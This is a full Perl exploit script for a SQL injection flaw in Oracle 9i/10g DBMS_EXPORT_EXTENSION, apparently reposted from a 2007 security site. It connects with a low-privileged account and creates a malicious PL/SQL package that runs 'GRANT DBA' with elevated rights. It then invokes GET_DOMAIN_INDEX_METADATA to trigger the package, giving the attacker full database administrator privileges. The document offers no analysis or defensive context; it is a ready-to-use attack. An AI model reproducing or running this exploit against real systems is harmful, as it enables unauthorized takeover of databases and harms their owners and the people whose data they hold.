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Oracle 9i/10g DBMS_EXPORT_EXTENSION SQL Injection Exploit
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来源：http://rawlab.mindcreations.com 作者：Andrea 发布时间：2007-02-06
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#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# Grant or revoke dba permission to unprivileged user
#
# Tested on Oracle 10g - Release 10.2.0.1.0
# Oracle 9i - Release 9.2.0.2.0
#
# REF: http://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Sun Feb 4 15:53:04 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
use warnings;
use strict;
use DBI;
use DBD::Oracle;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> [-g|-r]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:v:gr';
getopts($opt_string, \%opt) or &usage;
&usage unless ( $opt{h} or $opt{s} or $opt{u} or $opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
my $sqlcmd = undef;
$sqlcmd = "GRANT DBA TO $user" if ($opt{g});
$sqlcmd = "REVOKE DBA FROM $user" if ($opt{r});
print "[-] Wait...\n";
$dbh->{RaiseError} = 1;
if ( $dbh->do( qq{
CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] Building evil package\n";
if ( $dbh->do(qq{
CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd';
COMMIT;
RETURN(1);
END;
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] Finishing evil package\n";
if ( $dbh->do (qq{
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := '$user';
TYPE_NAME := 'BUNKERPKG';
TYPE_SCHEMA := '$user';
VERSION := '';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] YOU GOT THE POWAH!!\n";
exit;
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